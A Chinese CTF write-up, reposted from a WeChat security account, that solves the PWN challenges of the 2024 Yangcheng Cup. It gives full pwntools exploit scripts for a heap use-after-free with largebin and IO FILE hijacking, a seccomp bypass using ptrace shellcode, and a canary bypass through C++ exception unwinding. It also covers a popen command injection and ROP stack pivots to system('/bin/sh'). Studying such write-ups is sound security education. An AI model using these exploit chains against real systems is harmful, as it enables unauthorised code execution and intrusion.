前言:本文章同步csdn具体详情 可以查看~附件在后台
这题难点在于绕过沙盒的限制,但是这里open
和openat
都禁用,
并且固定执行环境,很难通过平替函数 或者篡改cs
切换执行环境来执行open
函数
发现大堆的申请限制+uaf
漏洞 直接largebin attack+IO
就能完成劫持rip
glibc2.36
这里使用了一个magic_gadget
来配合使用setcontext
完成劫持
0x000000000005e5b0 : mov rdx, rbx ; call qword ptr [rax + 0x38]
使用ptrace
去hook->seccomp
ptrace 系统调用概述:
int ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);
//request:指定操作类型,如 PTRACE_ATTACH、PTRACE_DETACH、PTRACE_PEEKDATA 等。
//PTRACE_ATTACH,用于将当前进程附加到另一个进程的调试会话中。
//PTRACE_SETOPTIONS,用于设置附加的跟踪选项。//PTRACE_CONT.用于继续执行之前被暂停的进程
//PTRACE_DETACH,用于从一个正在被调试的进程中分离(“脱离”)调试器,被调试进程将继续正常执行。//pid:目标进程的进程 ID(PID)。
//addr 和 data:用于特定请求的额外数据。//data:
//PTRACE_O_TRACESECCOMP:指定设置 seccomp 事件跟踪选项。
先fork
开启一个子进程 如果 pid 为0
表示当前代码块是在子进程中执行的,否则是在父进程中执行的然后使用ptrace
附加选项(PTRACE_ATTACH)
附加到子进程调用wait
函数等待子进程停止。此时子进程将会被暂停,父进程能够对其进行进一步操作接下来对seccomp
设置子进程的监控选项,PTRACE_O_TRACESECCOMP
使得父进程能够接收到seccomp
触发的信号 然后继续执行子进程PTRACE_CONT
等待seccomp
触发wait(NULL)
; 父进程会在这里阻塞,直到接收到子进程的seccomp
触发事件。这个时候子进程会触发seccomp
然后,在父进程中对他进行hook
处理,完成绕过
只需要将C
语言代码转换为汇编执行就行
from pwn import *
from ctypes import*
from LibcSearcher import*
import pwnlib.shellcraft as sc
u64_Nofix=lambda p:u64(p.recvuntil(b'n')[:-1].ljust(8,b'x00'))
u64_fix=lambda p:u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)
FILENAME='../pwn5'
p=process(FILENAME)
elf=ELF(FILENAME)
ip='124.223.76.251'
port=9999
# p = remote(ip,port)
libc=ELF('../libc.so.6')
def command(option):
p.recvuntil(b'>')
p.sendline(bytes(str(option),'utf-8'))
def create(idx,Size):
command(1)
p.recvuntil(b'Index')
p.sendline(bytes(str(idx),'utf-8'))
p.recvuntil(b'Size')
p.sendline(bytes(str(Size),'utf-8'))
def free(id):
command(2)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
def edit(id,Content):
command(3)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
p.recvuntil(b'Content')
p.send(Content)
def show(id):
command(4)
p.recvuntil(b'Index')
p.sendline(bytes(str(id),'utf-8'))
context.arch='amd64'
create(0,0x500)
create(1,0x520)
create(2,0x510)
create(3,0x520)
free(2)
create(4,0x520)
show(2)
libc_add=u64_fix(p)
libcbase=libc_add-0x1f70f0
success('libcbase '+hex(libcbase))
edit(2,b'a'*(0x10-1)+b'A')
show(2)
p.recvuntil(b'A')
heap_add=u64_Nofix(p)
success('heap_add '+hex(heap_add))
edit(2,p64(libc_add)*2)
IO_list_all=libcbase+0x1f7660
IO_wfile_jumps=libcbase+0x1f30a0
success('IO_wfile_jumps '+hex(IO_wfile_jumps))
setcontextadd=libcbase+libc.sym['setcontext']
ret=libcbase+0x00000000000233d1
#fake_IO
fakeIO_add=heap_add-0xa40
orw_add=fakeIO_add+0xe0+0x50
A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add
gg=libcbase+0x000000000005e5b0
leave_ret=libcbase+0x0000000000050877
fake_IO=b''
fake_IO=fake_IO.ljust(0x18,b'x00')
fake_IO+=p64(1) #_IO_write_ptr>_IO_write_base
fake_IO=fake_IO.ljust(0x68,b'x00')
fake_IO+=p64(orw_add-0x8)#lock
fake_IO=fake_IO.ljust(0x78,b'x00')
fake_IO+=p64(fakeIO_add)#lock
fake_IO=fake_IO.ljust(0x90,b'x00')
fake_IO+=p64(A)# _wide_data=rdx
fake_IO+=p64(leave_ret)
fake_IO=fake_IO.ljust(0xc8,b'x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+p64(0)+p64(setcontextadd+61)+b'x00'*0x20
fake_IO+=p64(B)+p64(gg)
mprotect=libcbase+libc.sym['mprotect']
rdi_ret=libcbase+0x0000000000023b65
rsi_ret=libcbase+0x00000000000251be
rdx_rbx_ret=libcbase+0x000000000008bcd9
NR_fork=57
NR_ptrace=101
NR_wait=61
PTRACE_ATTACH=16
PTRACE_SETOPTIONS = 0x4200
PTRACE_O_TRACESECCOMP = 0x00000080
PTRACE_CONT = 7
PTRACE_DETACH=17
shellcode2 = f'''
main:
/*fork()*/
push {NR_fork}
pop rax
syscall
push rax
pop rbx
test rax,rax
jz child_code
/*ptrace(PTRACE_ATTACH, pid, NULL, NULL)*/
xor r10, r10
xor edx, edx
mov rsi,rbx
mov rdi,{PTRACE_ATTACH}
push {NR_ptrace}
pop rax
syscall
/* wait child */
xor rdi, rdi
push {NR_wait}
pop rax
syscall
/* ptrace(PTRACE_SETOPTIONS, pid, NULL, PTRACE_O_TRACESECCOMP) */
mov r10,{PTRACE_O_TRACESECCOMP}
xor rdx, rdx
mov rsi,rbx
mov rdi, 0x4200
push {NR_ptrace}
pop rax
syscall
js error
/* ptrace(PTRACE_CONT, pid, NULL, NULL) */
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi, {PTRACE_CONT} /* PTRACE_CONT */
push {NR_ptrace}
pop rax
syscall
js error
/* Wait seccomp */
xor rdi, rdi
push {NR_wait}
pop rax
syscall
xor r10,r10
xor rdx,rdx
mov rsi,rbx
mov rdi,{PTRACE_DETACH}
push {NR_ptrace}
pop rax
syscall
jmp end
child_code:
{shellcraft.open('/flag')}
{shellcraft.sendfile(1,3,0,0x100)}
error:
/* exit */
xor rdi, rdi
mov rax, 60
syscall
end:
nop
'''
orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_rbx_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)
orw+=asm(shellcode2)
payload=fake_IO+orw
edit(0,payload)
free(0)
edit(2,p64(heap_add)*2+p64(0)+p64(IO_list_all-0x20))
create(10,0x600)
command(5)
p.interactive()
在Warn
中发现栈溢出,但是开了canary
不能直接溢出,还有一个C++
异常的处理
通过上面的浅析大致有一个抛出的过程 通过栈展开一层一层往上找catch
块 找到后恢复初始化的一个过程那么如果通过溢出覆盖了rbp
也能正常执行吗 是可以进行的 栈展开的时候是通过在内部把当前函数栈调用重建然后通过回抛方式一层一层往上捕获的过程 不以当前rbp
做操作。
通过溢出只修改rbp
通过_Unwind_RaiseException
依然能够捕获到catch
块,并且rbp
被我覆盖
再次通过 _Unwind_Resume
恢复后rbp
变为我覆盖的地址,并且程序正常执行
这个只是覆盖了rbp
并没有覆盖返回地址的情况下 我们能控制rbp
如果后面程序执行函数返回 leave;ret;
我们能直接完成栈迁移控制rip
可以看看覆盖rbp
的时候的 返回地址是什么 0x401a37
他指向的这个地址又是一个jmp
jmp
后面的可以不用管,注意这里IDA
识别catch
块
当触发异常的时
会通过_Unwind_Resume
一层一层抛上去
所以当在 Warn
函数触发异常的时候
(这个try
块很大 一直包含到很下面)
通过Warn
中的异常触发 throw
先去捕获上一层catch
然后会调转指向_Unwind_Resume
现在还是再Warn
函数中还没有抛到上一层 通过_Unwind_Resume
回抛到上一级 main
函数
main
函数中的catch
块 再次通过 _Unwind_Resume
去恢复到原来mian
函数的执行上下文
在原来执行过程中是这样的 因为我try
对于的始终是Warn
的异常捕获 当我覆盖返回地址的时候 比如 说覆盖地址为其他的try
捕获 那么按照的栈展开回抛机制 程序会被回抛到try
对应的catch
块中
这里把返回地址改为0x401BC2+1
(执行特性,你不可能下一条执行地址和你当前地址一样吧)
第一次catch
捕获成功,现在进入回抛到上一层
可以发现回抛jmp
后地址不再是原来catch
块 而是我篡改后对应的catch
块
这个时候catch
会执行system
并且从[rbp-0x18]
上取值 [rbp-0x18]
来着rax
rax
是 begin_catch
初始化的结果 这个我们无法通过栈溢出来控制
在第一个函数Trace
中发现有off_by_null
的溢出 还有一个是循环下标的一次循环溢出 溢出后可以篡 改到system
使用的字符串
此攻击通过栈溢出+
异常触发可以绕过canary
检查 可以控制rbp
和一定内的rip
执行
from pwn import *
from ctypes import*
from LibcSearcher import*
u64_Nofix=lambda p:u64(p.recvuntil(b'n')[:-1].ljust(8,b'x00'))
u64_fix=lambda p:u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)
FILENAME='../pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
ip='139.155.126.78'
port=34700
# p = remote(ip,port)
def command(option):
p.recvuntil(b'chocie')
p.sendline(bytes(str(option),'utf-8'))
def Trace(Content,records=b'y'):
command(1)
p.recvuntil(b'here')
p.send(Content)
p.recvuntil(b'records?')
p.sendline(records)
def Warn(plz):
command(2)
p.recvuntil(b'plz')
p.send(plz)
for i in range(8):
Trace(b'a'*0x10)
Trace(b'/bin/shx00')
ret=0x000000000040101a
bss=0x404000+0x50+0x500
leave_ret=0x00000000004015a9
unwind_try=0x401BC2+1
payload=b''
payload=payload.ljust(0x70,b'A')
payload+=p64(bss)+p64(unwind_try)
Warn(payload)
p.interactive()
popen函数:
FILE *popen(const char *command, const char *mode)
popen
函数是C
标准库中的一个函数,通常用于创建一个进程来执行一个命令并返回一个管道,用于与这个进程进行通信。
前面都是web
的头,直接抓包格式就可以直接拿到
然后有一个URL
解码,这个后面有用,然后做了目录穿越的check
还有一个字符串的waf
check
完直接popen
,能直接执行命令
上面的waf
根本不严mv
或者cp
都可以直接把flag
移到当前目录下面 然后读取出来,空格需要URL
解码不 然第一次输入会被截断
from pwn import *
p = remote('139.155.126.78',34700)
payload='get '+'/cp%20/flag%20/home/ctf/html'+' HTTP/1.0'
p.sendline(payload)
p.sendline('Host: '+'192.168.0.1')
p.sendline('Content-Length: '+'0')
p.close()
#读取flag
p = remote('139.155.126.78',34700)
payload='get '+'/flag'+' HTTP/1.0'
p.sendline(payload)
host='127.0.0.1'
p.sendline('Host: '+'192.168.0.1')
p.sendline('Content-Length: '+'0')
p.interactive()
glibc2.35
下的堆题,有一个uaf
漏洞
只能申请大堆 并且size
通过city
选择限制为三个
在edit
函数中要满足两个条件才可以完成修改
本地堆题部分不难,就是先利用uaf
漏洞和堆风水,
泄露出来libc
地址和堆地址,然后利用edit
修改bin
完 成largbin attack
泄露地址
直接利用申请chunk
时用的read输入,不截断,能够泄露残留地址
完成EDIT条件
这里我没仔细看是什么转换,直接代码全部抠出来采取C++
多线程爆破大概2、3
分钟就能爆破出来
using namespace std;
mutex mtx;
uint64_t my_count = 0;
uint32_t Array_idx = 0;
DWORD flag[64]{ 0 };
int main1(unsigned int a1, unsigned int flag);
int main1(unsigned int a1);
void bf();
void bf_Array();
typedef struct MyStruct
{
int form;
int to;
int flag;
}MYHEAP;
__int64 minDistance(int* a1, int* a2)
{
int v3; // [rsp+14h] [rbp-Ch]
unsigned int v4; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]
v3 = 9999;
for (i = 0; i <= 4; ++i)
{
if (!a2[i] && v3 >= a1[i])
{
v3 = a1[i];
v4 = i;
}
}
return v4;
}
int func(MYHEAP* heap[],int count) {
int i; // [rsp+0h] [rbp-D0h]
int j; // [rsp+4h] [rbp-CCh]
int k; // [rsp+8h] [rbp-C8h]
int m; // [rsp+Ch] [rbp-C4h]
int city_name; // [rsp+10h] [rbp-C0h]
int v6; // [rsp+14h] [rbp-BCh]
int v7; // [rsp+18h] [rbp-B8h]
int v8; // [rsp+1Ch] [rbp-B4h]
int v9[8]; // [rsp+20h] [rbp-B0h] BYREF
int v10[8]; // [rsp+40h] [rbp-90h] BYREF
int v11[26]; // [rsp+60h] [rbp-70h]
unsigned __int64 v12; // [rsp+C8h] [rbp-8h]
v11[0] = 0;
v11[1] = 9999;
v11[2] = 9999;
v11[3] = 9999;
v11[4] = 9999;
v11[5] = 9999;
v11[6] = 0;
v11[7] = 9999;
v11[8] = 9999;
v11[9] = 9999;
v11[10] = 9999;
v11[11] = 9999;
v11[12] = 0;
v11[13] = 9999;
v11[14] = 9999;
v11[15] = 9999;
v11[16] = 9999;
v11[17] = 9999;
v11[18] = 0;
v11[19] = 9999;
v11[20] = 9999;
v11[21] = 9999;
v11[22] = 9999;
v11[23] = 9999;
v11[24] = 0;
for (i = 0; i != count; ++i)
{
v7 = heap[i]->form;
v8 = heap[i]->to;
if (heap[i]->flag < v11[5 * v7 + v8])
{
v11[5 * v7 + v8] = heap[i]->flag;
v11[5 * v8 + v7] = heap[i]->flag;
}
}
for (j = 0; j <= 4; ++j)
{
v9[j] = 9999;
v10[j] = 0;
}
v9[0] = 0;
for (k = 0; k <= 4; ++k)
{
v6 = minDistance(v9, v10);
v10[v6] = 1;
for (m = 0; m <= 4; ++m)
{
if (!v10[m] && v11[5 * v6 + m] && v9[v6] != 9999 && v9[v6] + v11[5 *
v6 + m] < v9[m])
v9[m] = v9[v6] + v11[5 * v6 + m];
}
}
for (m = 0; m <= 4; ++m)
{
//printf("%d ", v9[m]);
if (v9[m] > 0x7D0 && v9[m] != 9999)
{
for (int j = 0; j <= 4; ++j)
{
printf("%d ", v9[j]);
}
putchar('n');
puts("That's so far! Please review and rewrite it!");
for (size_t i = 0; i < count; i++)
{
printf("%d %d %dn", heap[i]->form, heap[i]->to, heap[i]->flag);
}
return 1;
}
}
return 0;
}
void init(MYHEAP* ptr[],int length) {
for (size_t i = 0; i < length; i++)
{
ptr[i]= new MYHEAP;
ptr[i]->to = ptr[i]->form = ptr[i]->flag = 0;
}
}
void reg(MYHEAP* ptr) {
ptr->to = ptr->form = ptr->flag = 0;
}
void set(MYHEAP* ptr,int count) {
ptr->form = (count / (5 * 1000)) % 5;
ptr->to = (count / 1000) % 5;
ptr->flag = count % 1000;
}
int change(MYHEAP* ptr) {
int form = ptr->form;
int to = ptr->to;
int flag = ptr->flag;
if (flag < 999) {
ptr->flag++;
return 0;
}
ptr->flag = 0;
if (ptr->form < 4) {
ptr->form++;
return 0;
}
ptr->form = 0;
if (ptr->to < 4) {
ptr->to++;
return 0;
}
return 1;
}
int main()
{
const int Max_count = 32;
vector<thread> mythreads;
for (size_t i = 0; i < Max_count; i++)
{
mythreads.emplace_back(bf);
}
for (auto& i: mythreads)
{
i.join();
}
system("pause");
return 0;
}
void bf() {
MYHEAP* heap[3];
int add_offset = 100;
init(heap, 3);
while (true)
{
mtx.lock();
uint64_t local = my_count;
my_count += add_offset;
mtx.unlock();
if (local >= MAX_COUNT)break;
printf("%dn", local);
set(heap[0], local);
for (uint64_t i = local; i < local + add_offset; i++)
{
set(heap[0], i);
for (size_t j = 0; j < 5 * 5 * 1000; j++)
{
change(heap[1]);
for (size_t k = 0; k < 5 * 5 * 1000; k++)
{
//printf("k->%dn form:%d to:%d flag:%dn", k, heap[1]->form,
heap[1]->to, heap[1]->flag);
change(heap[2]);
if (func(heap, 3)) {
mtx.lock();
my_count = MAX_COUNT;
mtx.unlock();
return;
}
}
}
reg(heap[1]);
reg(heap[2]);
}
}
}
然后就是正常的打IO
操作
from pwn import *
from ctypes import*
from LibcSearcher import*
u64_Nofix=lambda p:u64(p.recvuntil(b'n')[:-1].ljust(8,b'x00'))
u64_fix=lambda p:u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)
FILENAME='../pwn10'
p=process(FILENAME)
elf=ELF(FILENAME)
# p = remote('139.155.126.78', 39147)
libc=ELF('../libc.so.6')
def command(option):
p.recvuntil(b'5. Calculate the distance.')
p.sendline(bytes(str(option),'utf-8'))
def choice_city(idx):
if(idx==0):
temp=b'guangzhou'
elif(idx==1):
temp=b'nanning'
elif(idx==2):
temp=b'changsha'
elif(idx==3):
temp=b'nanchang'
else:
temp=b'fuzhou'
return temp
def create(idx,From,To,far=1000,Note=b'a'):
command(1)
p.recvuntil(b'want?')
temp=b''
if(idx==0):
temp=b'car'
elif(idx==1):
temp=b'train'
elif(idx==2):
temp=b'plane'
else:
temp=b'yes'
p.sendline(temp)
p.recvuntil(b'From')
p.sendline(choice_city(From))
p.recvuntil(b'To')
p.sendline(choice_city(To))
p.recvuntil(b'far')
p.sendline(bytes(str(far),'utf-8'))
p.recvuntil(b'Note')
p.send(Note)
def free(From,To):
command(2)
p.recvuntil(b'From')
p.sendline(choice_city(From))
p.recvuntil(b'To')
p.sendline(choice_city(To))
def edit(From,To,idx,Note,far=0x10):
command(4)
p.recvuntil(b'From')
p.sendline(choice_city(From))
p.recvuntil(b'To')
p.sendline(choice_city(To))
p.recvuntil(b'change?')
p.sendline(bytes(str(idx),'utf-8'))
p.recvuntil(b'far')
p.sendline(bytes(str(far),'utf-8'))
p.recvuntil(b'Note')
p.send(Note)
def show(From,To):
command(3)
p.recvuntil(b'From')
p.sendline(choice_city(From))
p.recvuntil(b'To')
p.sendline(choice_city(To))
def Dijkstra(travel):
command(5)
p.recvuntil(b'travel')
p.sendline(choice_city(travel))
create(2,0,1,900)
create(0,2,1,102)
create(1,2,4,999)
Dijkstra(4)
create(0,0,0)#0
create(2,2,0)#1
create(2,2,2)#2
free(2,0)
free(0,0)
create(2,2,0,1000,b'a'*0x510)#3 0
show(2,0)
libc_add=u64_fix(p)
libcbase=libc_add-0x21ace0
success('libcbase '+hex(libcbase))
create(2,2,2)#4
create(0,0,0,1000,b'a'*7+b'A')#5
show(0,0)
p.recvuntil(b'A')
heap_add=u64_Nofix(p)
success('heap_add '+hex(heap_add))
IO_wfile_jumps=libcbase+0x2170c0
success('IO_wfile_jumps '+hex(IO_wfile_jumps))
setcontextadd=libcbase+libc.sym['setcontext']
ret=libcbase+0x0000000000029139
#fake_IO
fakeIO_add=heap_add-0xf90
orw_add=fakeIO_add+0xe0+0x50
A=fakeIO_add+0x40
B=fakeIO_add+0xe8+0x40-0x68
C=fakeIO_add
fake_IO=p64(0)#flag rdi
fake_IO=fake_IO.ljust(0x28-0x20,b'x00')
fake_IO+=p64(1) #_IO_write_ptr>_IO_write_base
fake_IO=fake_IO.ljust(0x88-0x20,b'x00')
fake_IO+=p64(fakeIO_add)#lock
fake_IO=fake_IO.ljust(0xa0-0x20,b'x00')
fake_IO+=p64(A)# _wide_data=rdx
fake_IO=fake_IO.ljust(0xd8-0x20,b'x00')
fake_IO+=p64(IO_wfile_jumps)
fake_IO+=p64(orw_add)+p64(ret)+b'x00'*0x30
fake_IO+=p64(B)+p64(setcontextadd+61)
context.arch='amd64'
mprotect=libcbase+libc.sym['mprotect']
rdi_ret=libcbase+0x000000000002a3e5
rsi_ret=libcbase+0x000000000002be51
rdx_r12_ret=libcbase+0x000000000011f2e7
orw=p64(rdi_ret)+p64(fakeIO_add-(fakeIO_add&0xfff))+p64(rsi_ret)+p64(0x5000)
orw+=p64(rdx_r12_ret)+p64(7)*2+p64(mprotect)+p64(orw_add+0x48)
orw+=asm(shellcraft.cat('flag'))
create(2,2,3)
create(0,0,3)
create(1,1,1,100,p64(0)+p64(0x511))
free(0,3)
free(2,3)
create(0,0,3)
create(2,4,0,100,b'a'*8+p64(0x521)+p32(3)*3)
# free(3,3)
free(0,1)
free(2,1)
create(0,0,0)
payload=b'x00'*8+p64(0x501)+p32(4)*2+p64(0)+fake_IO+orw
payload=payload.ljust(0x500,b'a')+p64(0)+p64(0x20+0x531)
create(2,4,1,100,payload)
free(3,3)
create(2,2,2)
fd=libcbase+0x21b110
_IO_list_all=libcbase+0x21b680
target=_IO_list_all-0x20
payload=b'b'*0x8+p64(0x521)+p64(fd)*2+p64(0)+p64(target)
edit(4,0,0,payload)
free(4,4)
create(2,2,2)
create(2,2,3,100,b'a'*8+p64(0x521)+p32(3)*3)
command(6)
p.interactive()
直接溢出0x10
字节但是没有地址,不能直接弹shell
需要先泄露libc
地址
可以看到整个ROP
很有用,再次的read和leave;ret;
可以刚好完成栈迁移,因为第一次的溢出已经把rbp
改成了bss
段上面 然后再次的leave;ret
直接迁移过去就行
system
执行的时候会大量push
操作,会把栈抬高,
需要迁移的bss
段要在很下面
不然会导致栈被抬高至不可写地址导致失败
from pwn import *
from ctypes import*
from LibcSearcher import*
u64_Nofix=lambda p:u64(p.recvuntil(b'n')[:-1].ljust(8,b'x00'))
u64_fix=lambda p:u64(p.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
u64_8bit=lambda p:u64(p.recv(8))
def int_fix(p,count=12):
p.recvuntil(b'0x')
return int(p.recv(count),16)
FILENAME='../pwn'
p=process(FILENAME)
elf=ELF(FILENAME)
# p = remote('3.1.19.2', 8888)
libc=ELF('../libc.so.6')
ret=0x0000000000400506
rdi_ret=0x0000000000400773
leak='puts'
leak_got=elf.got[leak]
puts_plt=elf.plt['puts']
read_plt=elf.plt['read']
main=0x400540
bss=0x601000+0x500
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload)
sleep(1)
payload=b'a'*(0x8)+p64(rdi_ret)+p64(leak_got)+p64(puts_plt)+p64(main)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)
leak_add=u64(p.recvuntil(b'x7f')[-6:]+b'x00x00')
libcbase=leak_add-libc.symbols[leak]
system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh'))
log.info('libcbase '+hex(libcbase))
bss=0x602000-0x50
payload=b'a'*(0x30)+p64(bss)+p64(0x4006C4)
p.send(payload)
sleep(1)
execve=0xebc88+libcbase
xor_edx=0x00000000000a8558+libcbase
payload=b'a'*(0x8)+p64(ret)+p64(rdi_ret)+p64(str_bin_sh)+p64(system)
payload=payload.ljust(0x30,b'a')+p64(bss-0x30)
payload+=p64(0x00000000004006db)
p.send(payload)
p.interactive()
点分享
点收藏
点在看
原文始发于微信公众号(鱼影安全):2024年“羊城杯”粤港澳大湾区网络安全大赛PWN 全部解析
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论